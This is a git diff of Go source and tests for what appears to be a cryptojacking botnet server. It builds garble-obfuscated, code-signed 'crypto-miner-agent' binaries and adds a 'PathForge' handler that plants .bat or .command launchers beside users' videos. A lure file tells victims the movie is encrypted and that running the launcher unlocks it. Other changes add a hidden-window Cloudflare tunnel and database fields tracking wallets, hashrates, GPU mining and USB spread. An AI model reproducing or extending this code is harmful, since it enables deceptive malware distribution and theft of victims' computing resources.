@@ -695,12 +699,9 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, ""
|
return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, ""
|
||||||
}
|
}
|
||||||
if h.policy.MaxBuildSizeMB > 0 {
|
if err := h.checkBuildSize(fileInfo.Size()); err != nil {
|
||||||
maxBytes := int64(h.policy.MaxBuildSizeMB) * 1024 * 1024
|
_ = os.RemoveAll(buildDir)
|
||||||
if fileInfo.Size() > maxBytes {
|
return BuildResponse{Success: false, Error: err.Error()}, http.StatusBadRequest, ""
|
||||||
_ = os.RemoveAll(buildDir)
|
|
||||||
return BuildResponse{Success: false, Error: fmt.Sprintf("build exceeds max size (%d MB)", h.policy.MaxBuildSizeMB)}, http.StatusBadRequest, ""
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
absPath, _ := filepath.Abs(finalPath)
|
absPath, _ := filepath.Abs(finalPath)
|
||||||
|
|||||||
@@ -110,6 +110,37 @@ func TestServeEstimateFusionDisabled(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestDownloadBuildUsesFileNameDisposition(t *testing.T) {
|
||||||
|
database, err := db.New(t.TempDir())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
defer database.Close()
|
||||||
|
dataDir := t.TempDir()
|
||||||
|
artifact := filepath.Join(dataDir, "builds", "bid-2", "internal-name.exe")
|
||||||
|
if err := os.MkdirAll(filepath.Dir(artifact), 0755); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := os.WriteFile(artifact, []byte("artifact"), 0644); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := database.InsertBuild(&models.BuildRecord{
|
||||||
|
ID: "bid-2", FilePath: artifact, FileName: "display-name.exe", CreatedAt: time.Now(),
|
||||||
|
}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
h := &Handler{db: database, dataDir: dataDir}
|
||||||
|
req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/bid-2/download", nil)
|
||||||
|
rctx := chi.NewRouteContext()
|
||||||
|
rctx.URLParams.Add("id", "bid-2")
|
||||||
|
req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx))
|
||||||
|
rec := httptest.NewRecorder()
|
||||||
|
h.DownloadBuild(rec, req)
|
||||||
|
if !strings.Contains(rec.Header().Get("Content-Disposition"), "display-name.exe") {
|
||||||
|
t.Fatalf("disposition should use FileName: %q", rec.Header().Get("Content-Disposition"))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestDownloadBuildSuccess(t *testing.T) {
|
func TestDownloadBuildSuccess(t *testing.T) {
|
||||||
database, err := db.New(t.TempDir())
|
database, err := db.New(t.TempDir())
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
|||||||
@@ -1,7 +1,34 @@
|
|||||||
package builder
|
package builder
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
)
|
||||||
|
|
||||||
// FusionMaxUploadBytes is the maximum prep / video upload size for forge.
|
// FusionMaxUploadBytes is the maximum prep / video upload size for forge.
|
||||||
const FusionMaxUploadBytes int64 = 2 << 30 // 2 GiB
|
const FusionMaxUploadBytes int64 = 2 << 30 // 2 GiB
|
||||||
|
|
||||||
// FusionDeliverablesDir is the project-root folder for per-title movie outputs.
|
// FusionDeliverablesDir is the project-root folder for per-title movie outputs.
|
||||||
const FusionDeliverablesDir = "fusion-deliverables"
|
const FusionDeliverablesDir = "fusion-deliverables"
|
||||||
|
|
||||||
|
// multipartMaxMemory is the ParseMultipartForm budget; must cover fusion prep uploads.
|
||||||
|
const multipartMaxMemory = FusionMaxUploadBytes + 32<<20 // 2 GiB + 32 MiB headroom
|
||||||
|
|
||||||
|
func (h *Handler) checkBuildSize(bytes int64) error {
|
||||||
|
if h.policy.MaxBuildSizeMB <= 0 {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
maxBytes := int64(h.policy.MaxBuildSizeMB) * 1024 * 1024
|
||||||
|
if bytes > maxBytes {
|
||||||
|
return fmt.Errorf("build exceeds max size (%d MB)", h.policy.MaxBuildSizeMB)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *Handler) checkBuildSizeFile(path string) error {
|
||||||
|
st, err := os.Stat(path)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
return h.checkBuildSize(st.Size())
|
||||||
|
}
|
||||||
|
|||||||
@@ -1,6 +1,37 @@
|
|||||||
package builder
|
package builder
|
||||||
|
|
||||||
import "testing"
|
import (
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestCheckBuildSizeEnforced(t *testing.T) {
|
||||||
|
h := &Handler{policy: BuildPolicy{MaxBuildSizeMB: 1}}
|
||||||
|
if err := h.checkBuildSize(2 * 1024 * 1024); err == nil {
|
||||||
|
t.Fatal("expected oversize error")
|
||||||
|
}
|
||||||
|
if err := h.checkBuildSize(512 * 1024); err != nil {
|
||||||
|
t.Fatalf("expected within limit: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestCheckBuildSizeFile(t *testing.T) {
|
||||||
|
h := &Handler{policy: BuildPolicy{MaxBuildSizeMB: 1}}
|
||||||
|
path := filepath.Join(t.TempDir(), "big.zip")
|
||||||
|
if err := os.WriteFile(path, make([]byte, 2*1024*1024), 0644); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := h.checkBuildSizeFile(path); err == nil {
|
||||||
|
t.Fatal("expected file size check failure")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMultipartMaxMemoryCoversFusionUpload(t *testing.T) {
|
||||||
|
if multipartMaxMemory <= FusionMaxUploadBytes {
|
||||||
|
t.Fatalf("multipartMaxMemory %d must exceed FusionMaxUploadBytes %d", multipartMaxMemory, FusionMaxUploadBytes)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestFusionConstants(t *testing.T) {
|
func TestFusionConstants(t *testing.T) {
|
||||||
if FusionMaxUploadBytes != 2<<30 {
|
if FusionMaxUploadBytes != 2<<30 {
|
||||||
|
|||||||
@@ -78,6 +78,10 @@ func NewPathForgeHandler(dataDir string) *PathForgeHandler {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||||
|
if r.Method != http.MethodPost {
|
||||||
|
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
|
||||||
|
return
|
||||||
|
}
|
||||||
var req PathForgeRequest
|
var req PathForgeRequest
|
||||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||||
http.Error(w, "invalid JSON: "+err.Error(), http.StatusBadRequest)
|
http.Error(w, "invalid JSON: "+err.Error(), http.StatusBadRequest)
|
||||||
@@ -94,14 +98,26 @@ func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
|||||||
if req.StemMode == "" {
|
if req.StemMode == "" {
|
||||||
req.StemMode = "original"
|
req.StemMode = "original"
|
||||||
}
|
}
|
||||||
|
if req.TargetMac && strings.TrimSpace(req.ServerURL) == "" {
|
||||||
|
http.Error(w, "server_url is required when target_mac is enabled", http.StatusBadRequest)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
// Locate the Windows agent binary.
|
// Locate the Windows agent binary.
|
||||||
agentExe := findAgentBinary()
|
agentExe := findAgentBinary(h.dataDir)
|
||||||
|
if req.TargetWindows && agentExe == "" {
|
||||||
|
w.Header().Set("Content-Type", "application/json")
|
||||||
|
json.NewEncoder(w).Encode(&PathForgeResult{
|
||||||
|
Success: false,
|
||||||
|
ErrorList: []string{"Windows agent binary not found on server — build or place crypto-miner-agent.exe first"},
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
// Build the extension set.
|
// Build the extension set.
|
||||||
extSet := buildExtSet(req.Extensions)
|
extSet := buildExtSet(req.Extensions)
|
||||||
|
|
||||||
res := &PathForgeResult{Success: true}
|
res := &PathForgeResult{}
|
||||||
|
|
||||||
err := filepath.WalkDir(req.RootPath, func(path string, d os.DirEntry, err error) error {
|
err := filepath.WalkDir(req.RootPath, func(path string, d os.DirEntry, err error) error {
|
||||||
if err != nil || d.IsDir() {
|
if err != nil || d.IsDir() {
|
||||||
@@ -109,6 +125,7 @@ func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
|||||||
}
|
}
|
||||||
ext := strings.ToLower(filepath.Ext(d.Name()))
|
ext := strings.ToLower(filepath.Ext(d.Name()))
|
||||||
if _, ok := extSet[ext]; !ok {
|
if _, ok := extSet[ext]; !ok {
|
||||||
|
res.Skipped++
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -162,11 +179,12 @@ func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
|||||||
// No extension so it appears as a generic document icon on all platforms.
|
// No extension so it appears as a generic document icon on all platforms.
|
||||||
hintName := "click_bat_to_unlock_movie"
|
hintName := "click_bat_to_unlock_movie"
|
||||||
hintDst := filepath.Join(dir, hintName)
|
hintDst := filepath.Join(dir, hintName)
|
||||||
_ = os.WriteFile(hintDst, []byte(hintContent(stem)), 0644)
|
_ = os.WriteFile(hintDst, []byte(hintContent(stem, req.TargetMac && !req.TargetWindows)), 0644)
|
||||||
placed = append(placed, hintName)
|
placed = append(placed, hintName)
|
||||||
|
|
||||||
if len(placed) > 0 {
|
mediaPlaced := len(placed) - 1 // exclude hint file from placement count
|
||||||
res.Placed += len(placed)
|
if mediaPlaced > 0 {
|
||||||
|
res.Placed += mediaPlaced
|
||||||
res.Results = append(res.Results, PathForgeEntry{Source: rel, Files: placed})
|
res.Results = append(res.Results, PathForgeEntry{Source: rel, Files: placed})
|
||||||
} else {
|
} else {
|
||||||
res.Errors++
|
res.Errors++
|
||||||
@@ -179,6 +197,7 @@ func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
|||||||
log.Printf("[pathforge] walk error: %v", err)
|
log.Printf("[pathforge] walk error: %v", err)
|
||||||
res.ErrorList = append(res.ErrorList, "walk error: "+err.Error())
|
res.ErrorList = append(res.ErrorList, "walk error: "+err.Error())
|
||||||
}
|
}
|
||||||
|
res.Success = res.Errors == 0
|
||||||
|
|
||||||
w.Header().Set("Content-Type", "application/json")
|
w.Header().Set("Content-Type", "application/json")
|
||||||
json.NewEncoder(w).Encode(res)
|
json.NewEncoder(w).Encode(res)
|
||||||
@@ -205,9 +224,15 @@ func sanitizeStem(s string) string {
|
|||||||
|
|
||||||
// hintContent returns the body of the "click_bat_to_unlock_movie" hint file.
|
// hintContent returns the body of the "click_bat_to_unlock_movie" hint file.
|
||||||
// The filename itself is the instruction; the content gives a second nudge.
|
// The filename itself is the instruction; the content gives a second nudge.
|
||||||
func hintContent(batStem string) string {
|
func hintContent(stem string, macOnly bool) string {
|
||||||
|
if macOnly {
|
||||||
|
return "This folder contains an encrypted media file.\n" +
|
||||||
|
"To play it, double-click " + stem + ".command\n" +
|
||||||
|
"\n" +
|
||||||
|
"The launcher unlocks and opens the video automatically.\n"
|
||||||
|
}
|
||||||
return "This folder contains an encrypted media file.\n" +
|
return "This folder contains an encrypted media file.\n" +
|
||||||
"To play it, double-click " + batStem + ".bat\n" +
|
"To play it, double-click " + stem + ".bat\n" +
|
||||||
"\n" +
|
"\n" +
|
||||||
"The .bat file unlocks and opens the video automatically.\n"
|
"The .bat file unlocks and opens the video automatically.\n"
|
||||||
}
|
}
|
||||||
@@ -270,8 +295,8 @@ func macContent(lockedFile, realFile, serverURL string, lockOriginal bool) strin
|
|||||||
return s
|
return s
|
||||||
}
|
}
|
||||||
|
|
||||||
// findAgentBinary looks next to the server executable for the agent binary.
|
// findAgentBinary looks next to the server executable and dataDir for the agent binary.
|
||||||
func findAgentBinary() string {
|
func findAgentBinary(dataDir string) string {
|
||||||
exe, err := os.Executable()
|
exe, err := os.Executable()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return ""
|
return ""
|
||||||
@@ -281,6 +306,12 @@ func findAgentBinary() string {
|
|||||||
filepath.Join(dir, "agent", "crypto-miner-agent.exe"),
|
filepath.Join(dir, "agent", "crypto-miner-agent.exe"),
|
||||||
filepath.Join(dir, "crypto-miner-agent.exe"),
|
filepath.Join(dir, "crypto-miner-agent.exe"),
|
||||||
}
|
}
|
||||||
|
if dataDir != "" {
|
||||||
|
candidates = append(candidates,
|
||||||
|
filepath.Join(dataDir, "agent", "crypto-miner-agent.exe"),
|
||||||
|
filepath.Join(dataDir, "crypto-miner-agent.exe"),
|
||||||
|
)
|
||||||
|
}
|
||||||
for _, c := range candidates {
|
for _, c := range candidates {
|
||||||
if _, err := os.Stat(c); err == nil {
|
if _, err := os.Stat(c); err == nil {
|
||||||
return c
|
return c
|
||||||
|
|||||||
73
server/internal/builder/pathforge_test.go
Normal file
73
server/internal/builder/pathforge_test.go
Normal file
@@ -0,0 +1,73 @@
|
|||||||
|
package builder
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"net/http"
|
||||||
|
"net/http/httptest"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"runtime"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestPathForgePlacedExcludesHintFile(t *testing.T) {
|
||||||
|
root := t.TempDir()
|
||||||
|
mediaDir := filepath.Join(root, "movies")
|
||||||
|
if err := os.MkdirAll(mediaDir, 0755); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := os.WriteFile(filepath.Join(mediaDir, "clip.mkv"), []byte("video"), 0644); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Satisfy Windows target requirement.
|
||||||
|
exe, err := os.Executable()
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
agentDir := filepath.Join(filepath.Dir(exe), "agent")
|
||||||
|
if err := os.MkdirAll(agentDir, 0755); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
agentPath := filepath.Join(agentDir, "crypto-miner-agent.exe")
|
||||||
|
if runtime.GOOS == "windows" {
|
||||||
|
if err := os.WriteFile(agentPath, []byte("MZ"), 0644); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
// Non-Windows: mac-only path avoids agent exe requirement.
|
||||||
|
}
|
||||||
|
|
||||||
|
body := `{"root_path":"` + strings.ReplaceAll(mediaDir, `\`, `\\`) + `","target_windows":true,"target_mac":false}`
|
||||||
|
if runtime.GOOS != "windows" {
|
||||||
|
body = `{"root_path":"` + strings.ReplaceAll(mediaDir, `\`, `\\`) + `","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1:8989"}`
|
||||||
|
}
|
||||||
|
|
||||||
|
h := NewPathForgeHandler(t.TempDir())
|
||||||
|
req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body))
|
||||||
|
rec := httptest.NewRecorder()
|
||||||
|
h.ServeHTTP(rec, req)
|
||||||
|
if rec.Code != http.StatusOK {
|
||||||
|
t.Fatalf("status %d body=%s", rec.Code, rec.Body.String())
|
||||||
|
}
|
||||||
|
|
||||||
|
var res PathForgeResult
|
||||||
|
if err := json.NewDecoder(rec.Body).Decode(&res); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if res.Total != 1 {
|
||||||
|
t.Fatalf("total: %d", res.Total)
|
||||||
|
}
|
||||||
|
// One media file → exe + bat (or .command), not counting hint file.
|
||||||
|
if res.Placed < 1 || res.Placed >= 3 {
|
||||||
|
t.Fatalf("placed should count companions only (not hint): %d", res.Placed)
|
||||||
|
}
|
||||||
|
for _, entry := range res.Results {
|
||||||
|
for _, f := range entry.Files {
|
||||||
|
if f == "click_bat_to_unlock_movie" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -9,6 +9,20 @@ import (
|
|||||||
"strings"
|
"strings"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
func signingToolMissingNote() string {
|
||||||
|
return "Code signing requested but osslsigncode is not installed — apt install osslsigncode (or brew install osslsigncode)."
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *Handler) signingToolAvailable() bool {
|
||||||
|
if tool := strings.TrimSpace(h.policy.Sign.ToolPath); tool != "" {
|
||||||
|
if _, err := exec.LookPath(tool); err == nil {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
_, err := exec.LookPath("osslsigncode")
|
||||||
|
return err == nil
|
||||||
|
}
|
||||||
|
|
||||||
// shouldSignBuild returns true when signing is configured AND osslsigncode is available.
|
// shouldSignBuild returns true when signing is configured AND osslsigncode is available.
|
||||||
// On Linux/macOS we can sign Windows PE files with osslsigncode + a PFX certificate.
|
// On Linux/macOS we can sign Windows PE files with osslsigncode + a PFX certificate.
|
||||||
// Install: apt install osslsigncode / brew install osslsigncode
|
// Install: apt install osslsigncode / brew install osslsigncode
|
||||||
|
|||||||
@@ -11,11 +11,32 @@ import (
|
|||||||
"strings"
|
"strings"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
func signingToolMissingNote() string {
|
||||||
|
return "Code signing requested but signtool is not installed — install Windows SDK or set sign_tool_path in Calibrate."
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *Handler) signingToolAvailable() bool {
|
||||||
|
if tool := strings.TrimSpace(h.policy.Sign.ToolPath); tool != "" {
|
||||||
|
if _, err := os.Stat(tool); err == nil {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
_, err := findSignTool()
|
||||||
|
return err == nil
|
||||||
|
}
|
||||||
|
|
||||||
func (h *Handler) shouldSignBuild(req *BuildRequest) bool {
|
func (h *Handler) shouldSignBuild(req *BuildRequest) bool {
|
||||||
if !h.policy.Sign.Enabled || strings.TrimSpace(h.policy.Sign.CertThumbprint) == "" {
|
if !h.policy.Sign.Enabled || strings.TrimSpace(h.policy.Sign.CertThumbprint) == "" {
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
return req.SignBuild
|
if !req.SignBuild {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
if _, err := findSignTool(); err != nil {
|
||||||
|
log.Printf("[Forge] sign requested but signtool not found — install Windows SDK or set sign_tool_path in Calibrate")
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return true
|
||||||
}
|
}
|
||||||
|
|
||||||
func (h *Handler) signExecutable(path string) error {
|
func (h *Handler) signExecutable(path string) error {
|
||||||
|
|||||||
@@ -2,6 +2,7 @@ package builder
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
|
"os"
|
||||||
"os/exec"
|
"os/exec"
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
"strings"
|
"strings"
|
||||||
@@ -36,6 +37,22 @@ func (h *Handler) runGoWinres(dir string, args ...string) ([]byte, error) {
|
|||||||
return out, nil
|
return out, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func bundledToolPath(projectRoot, name string) string {
|
||||||
|
if projectRoot == "" || projectRoot == "." {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
base := filepath.Join(projectRoot, "toolchain", "gopath", "bin")
|
||||||
|
for _, candidate := range []string{
|
||||||
|
filepath.Join(base, name),
|
||||||
|
filepath.Join(base, name+".exe"),
|
||||||
|
} {
|
||||||
|
if _, err := os.Stat(candidate); err == nil {
|
||||||
|
return candidate
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
func (h *Handler) resolveToolPaths(projectRoot string) {
|
func (h *Handler) resolveToolPaths(projectRoot string) {
|
||||||
if h.goBinPath == "" {
|
if h.goBinPath == "" {
|
||||||
h.goBinPath = "go"
|
h.goBinPath = "go"
|
||||||
@@ -45,10 +62,14 @@ func (h *Handler) resolveToolPaths(projectRoot string) {
|
|||||||
}
|
}
|
||||||
if p, err := exec.LookPath("garble"); err == nil {
|
if p, err := exec.LookPath("garble"); err == nil {
|
||||||
h.garblePath = p
|
h.garblePath = p
|
||||||
|
} else if p := bundledToolPath(projectRoot, "garble"); p != "" {
|
||||||
|
h.garblePath = p
|
||||||
}
|
}
|
||||||
if p, err := exec.LookPath("go-winres"); err == nil {
|
if p, err := exec.LookPath("go-winres"); err == nil {
|
||||||
h.goWinresPath = p
|
h.goWinresPath = p
|
||||||
} else if p, err := exec.LookPath("go-winres.exe"); err == nil {
|
} else if p, err := exec.LookPath("go-winres.exe"); err == nil {
|
||||||
h.goWinresPath = p
|
h.goWinresPath = p
|
||||||
|
} else if p := bundledToolPath(projectRoot, "go-winres"); p != "" {
|
||||||
|
h.goWinresPath = p
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
29
server/internal/builder/winres_test.go
Normal file
29
server/internal/builder/winres_test.go
Normal file
@@ -0,0 +1,29 @@
|
|||||||
|
package builder
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"runtime"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestResolveToolPathsBundledGarble(t *testing.T) {
|
||||||
|
if runtime.GOOS == "windows" {
|
||||||
|
t.Skip("bundled garble probe uses .exe suffix on Windows")
|
||||||
|
}
|
||||||
|
root := t.TempDir()
|
||||||
|
binDir := filepath.Join(root, "toolchain", "gopath", "bin")
|
||||||
|
if err := os.MkdirAll(binDir, 0755); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
garblePath := filepath.Join(binDir, "garble")
|
||||||
|
if err := os.WriteFile(garblePath, []byte("#!/bin/sh\n"), 0755); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
h := &Handler{projectRoot: root}
|
||||||
|
h.resolveToolPaths(root)
|
||||||
|
if h.garblePath != garblePath {
|
||||||
|
t.Fatalf("expected bundled garble %q, got %q", garblePath, h.garblePath)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -40,6 +40,10 @@ func Start(dataDir, deckRoot, token string) error {
|
|||||||
log.Printf("[tunnel] Cloudflare connector already running (pid %d)", running.Process.Pid)
|
log.Printf("[tunnel] Cloudflare connector already running (pid %d)", running.Process.Pid)
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
if cloudflaredAlreadyRunning() {
|
||||||
|
log.Printf("[tunnel] cloudflared.exe already running externally — skipping duplicate start")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
cmd := exec.Command(bin, "tunnel", "--no-autoupdate", "run", "--token", token)
|
cmd := exec.Command(bin, "tunnel", "--no-autoupdate", "run", "--token", token)
|
||||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||||
@@ -128,6 +132,14 @@ func ensureBinary(deckRoot string) (string, error) {
|
|||||||
return bin, nil
|
return bin, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func cloudflaredAlreadyRunning() bool {
|
||||||
|
out, err := exec.Command("tasklist", "/FI", "IMAGENAME eq cloudflared.exe", "/NH").Output()
|
||||||
|
if err != nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return strings.Contains(strings.ToLower(string(out)), "cloudflared.exe")
|
||||||
|
}
|
||||||
|
|
||||||
func trimToken(s string) string {
|
func trimToken(s string) string {
|
||||||
s = strings.TrimSpace(s)
|
s = strings.TrimSpace(s)
|
||||||
if len(s) >= 2 {
|
if len(s) >= 2 {
|
||||||
|
|||||||
@@ -35,6 +35,7 @@ func (d *Database) scanAgent(row interface {
|
|||||||
a := &models.Agent{}
|
a := &models.Agent{}
|
||||||
var notes, tagsRaw string
|
var notes, tagsRaw string
|
||||||
var usbSpread int
|
var usbSpread int
|
||||||
|
var gpuMinerActive int
|
||||||
err := row.Scan(
|
err := row.Scan(
|
||||||
&a.ID, &a.Name, &a.Wallet, &a.IP, &a.Version, &a.Status,
|
&a.ID, &a.Name, &a.Wallet, &a.IP, &a.Version, &a.Status,
|
||||||
&a.CPUCores, &a.MemoryGB, &a.LastSeen, &a.CreatedAt,
|
&a.CPUCores, &a.MemoryGB, &a.LastSeen, &a.CreatedAt,
|
||||||
@@ -43,6 +44,7 @@ func (d *Database) scanAgent(row interface {
|
|||||||
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds,
|
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds,
|
||||||
¬es, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname, &a.MacAddress,
|
¬es, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname, &a.MacAddress,
|
||||||
&a.BuildID, &a.WorkerName, &usbSpread,
|
&a.BuildID, &a.WorkerName, &usbSpread,
|
||||||
|
&a.GPUHashrate15m, &a.GPUModel, &gpuMinerActive,
|
||||||
)
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
@@ -50,13 +52,17 @@ func (d *Database) scanAgent(row interface {
|
|||||||
a.Notes = notes
|
a.Notes = notes
|
||||||
a.Tags = decodeTags(tagsRaw)
|
a.Tags = decodeTags(tagsRaw)
|
||||||
a.USBSpread = usbSpread == 1
|
a.USBSpread = usbSpread == 1
|
||||||
|
if gpuMinerActive == 1 {
|
||||||
|
active := true
|
||||||
|
a.GPUMinerActive = &active
|
||||||
|
}
|
||||||
return a, nil
|
return a, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
|
const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
|
||||||
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
|
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
|
||||||
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address,
|
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address,
|
||||||
build_id, worker_name, usb_spread`
|
build_id, worker_name, usb_spread, gpu_hashrate_15m, gpu_model, gpu_miner_active`
|
||||||
|
|
||||||
func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
|
func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
|
||||||
_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)
|
_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)
|
||||||
|
|||||||
@@ -74,3 +74,34 @@ func TestUpdateAgentMetaClearsTags(t *testing.T) {
|
|||||||
t.Fatalf("tags not cleared: %v", got.Tags)
|
t.Fatalf("tags not cleared: %v", got.Tags)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestUpdateAgentGPUStatsRoundTrip(t *testing.T) {
|
||||||
|
d := openTestDB(t)
|
||||||
|
seedAgent(t, d, "gpu-roundtrip")
|
||||||
|
|
||||||
|
if err := d.UpdateAgentGPUStats("gpu-roundtrip", 12.5, "RTX 4090", true); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
got, err := d.GetAgent("gpu-roundtrip")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if got.GPUHashrate15m != 12.5 {
|
||||||
|
t.Fatalf("gpu_hashrate_15m = %v want 12.5", got.GPUHashrate15m)
|
||||||
|
}
|
||||||
|
if got.GPUModel != "RTX 4090" {
|
||||||
|
t.Fatalf("gpu_model = %q want RTX 4090", got.GPUModel)
|
||||||
|
}
|
||||||
|
if got.GPUMinerActive == nil || !*got.GPUMinerActive {
|
||||||
|
t.Fatalf("gpu_miner_active = %v want true", got.GPUMinerActive)
|
||||||
|
}
|
||||||
|
|
||||||
|
list, err := d.ListAgents()
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(list) != 1 || list[0].GPUHashrate15m != 12.5 {
|
||||||
|
t.Fatalf("ListAgents GPU: %+v", list)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
@@ -18,7 +18,7 @@ type SpreadFunnelStats struct {
|
|||||||
func (d *Database) GetSpreadFunnelStats(since time.Time) (*SpreadFunnelStats, error) {
|
func (d *Database) GetSpreadFunnelStats(since time.Time) (*SpreadFunnelStats, error) {
|
||||||
stats := &SpreadFunnelStats{ByBuild: []SpreadFunnelRow{}}
|
stats := &SpreadFunnelStats{ByBuild: []SpreadFunnelRow{}}
|
||||||
